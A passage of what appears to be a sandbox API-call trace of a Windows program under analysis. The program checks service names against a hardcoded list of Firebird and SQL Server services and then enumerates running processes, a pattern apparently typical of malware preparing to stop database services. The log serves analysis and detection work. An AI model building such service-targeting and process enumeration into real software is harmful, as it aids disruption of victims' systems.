(lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0192.863] lstrlenW (lpString="lmhosts") returned 7 [0192.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0192.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0192.863] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0192.863] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0192.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0192.863] lstrlenW (lpString="LSM") returned 3 [0192.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0192.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0192.864] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0192.864] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0192.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0192.864] lstrlenW (lpString="MpsSvc") returned 6 [0192.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0192.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0192.864] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0192.864] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0192.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0192.864] lstrlenW (lpString="NcbService") returned 10 [0192.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0192.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0192.864] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0192.864] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0192.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0192.864] lstrlenW (lpString="netprofm") returned 8 [0192.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0192.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0192.864] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0192.864] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0192.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0192.864] lstrlenW (lpString="NgcSvc") returned 6 [0192.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0192.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0192.864] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0192.864] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0192.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0192.865] lstrlenW (lpString="NlaSvc") returned 6 [0192.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0192.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0192.865] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0192.865] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0192.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0192.865] lstrlenW (lpString="nsi") returned 3 [0192.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0192.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0192.865] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0192.865] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0192.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0192.865] lstrlenW (lpString="PcaSvc") returned 6 [0192.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0192.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0192.865] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0192.865] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0192.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0192.865] lstrlenW (lpString="PlugPlay") returned 8 [0192.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0192.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0192.865] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0192.865] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0192.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0192.865] lstrlenW (lpString="Power") returned 5 [0192.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0192.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0192.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0192.866] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0192.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0192.866] lstrlenW (lpString="ProfSvc") returned 7 [0192.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0192.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0192.866] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0192.866] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0192.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0192.866] lstrlenW (lpString="RpcEptMapper") returned 12 [0192.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0192.866] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0192.866] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0192.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0192.866] lstrlenW (lpString="RpcSs") returned 5 [0192.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0192.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0192.866] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0192.866] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0192.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0192.866] lstrlenW (lpString="SamSs") returned 5 [0192.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0192.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0192.866] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0192.866] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0192.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0192.866] lstrlenW (lpString="Schedule") returned 8 [0192.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0192.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0192.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0192.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0192.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0192.867] lstrlenW (lpString="SecurityHealthService") returned 21 [0192.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0192.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0192.867] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0192.867] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0192.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0192.867] lstrlenW (lpString="SENS") returned 4 [0192.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0192.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0192.867] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0192.867] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0192.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0192.867] lstrlenW (lpString="ShellHWDetection") returned 16 [0192.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0192.867] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0192.867] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0192.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0192.867] lstrlenW (lpString="Spooler") returned 7 [0192.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0192.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0192.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0192.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0192.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0192.868] lstrlenW (lpString="StateRepository") returned 15 [0192.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0192.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0192.868] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0192.868] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0192.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0192.868] lstrlenW (lpString="SysMain") returned 7 [0192.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0192.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0192.868] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0192.868] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0192.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0192.868] lstrlenW (lpString="SystemEventsBroker") returned 18 [0192.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0192.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0192.868] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0192.868] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0192.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0192.868] lstrlenW (lpString="Themes") returned 6 [0192.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0192.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0192.868] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0192.868] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0192.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0192.868] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0192.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0192.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0192.869] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0192.869] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0192.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3295398 | out: hHeap=0x660000) returned 1 [0192.869] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x30c [0192.874] Process32FirstW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.875] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0192.875] lstrlenW (lpString="System") returned 6 [0192.875] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0192.876] lstrlenW (lpString="smss.exe") returned 8 [0192.876] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.876] lstrlenW (lpString="csrss.exe") returned 9 [0192.876] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0192.877] lstrlenW (lpString="wininit.exe") returned 11 [0192.877] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0192.954] lstrlenW (lpString="csrss.exe") returned 9 [0192.955] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0192.955] lstrlenW (lpString="winlogon.exe") returned 12 [0192.955] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0192.956] lstrlenW (lpString="services.exe") returned 12 [0192.956] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0192.957] lstrlenW (lpString="lsass.exe") returned 9 [0192.957] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0192.957] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0192.957] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0192.958] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0192.958] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.959] lstrlenW (lpString="svchost.exe") returned 11 [0192.959] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.959] lstrlenW (lpString="svchost.exe") returned 11 [0192.959] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0192.960] lstrlenW (lpString="dwm.exe") returned 7 [0192.960] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.960] lstrlenW (lpString="svchost.exe") returned 11 [0192.960] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.961] lstrlenW (lpString="svchost.exe") returned 11 [0192.961] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.961] lstrlenW (lpString="svchost.exe") returned 11 [0192.961] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.962] lstrlenW (lpString="svchost.exe") returned 11 [0192.962] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.962] lstrlenW (lpString="svchost.exe") returned 11 [0192.962] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.963] lstrlenW (lpString="svchost.exe") returned 11 [0192.963] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.963] lstrlenW (lpString="svchost.exe") returned 11 [0192.964] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.964] lstrlenW (lpString="svchost.exe") returned 11 [0192.964] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.965] lstrlenW (lpString="svchost.exe") returned 11 [0192.965] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.965] lstrlenW (lpString="svchost.exe") returned 11 [0192.965] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0192.966] lstrlenW (lpString="spoolsv.exe") returned 11 [0192.966] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.966] lstrlenW (lpString="svchost.exe") returned 11 [0192.966] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0192.967] lstrlenW (lpString="audiodg.exe") returned 11 [0192.967] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0192.967] lstrlenW (lpString="sihost.exe") returned 10 [0192.967] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.968] lstrlenW (lpString="svchost.exe") returned 11 [0192.968] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0192.968] lstrlenW (lpString="taskhostw.exe") returned 13 [0192.968] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0192.969] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0192.969] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0192.970] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0192.970] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0192.970] lstrlenW (lpString="Memory Compression") returned 18 [0192.970] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0192.971] lstrlenW (lpString="explorer.exe") returned 12 [0192.971] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0192.971] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0192.971] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0192.972] lstrlenW (lpString="SearchUI.exe") returned 12 [0192.972] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0192.972] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0192.972] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0192.973] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0192.973] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0192.974] lstrlenW (lpString="dllhost.exe") returned 11 [0192.974] Process32NextW (in: hSnapshot=0x30c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, 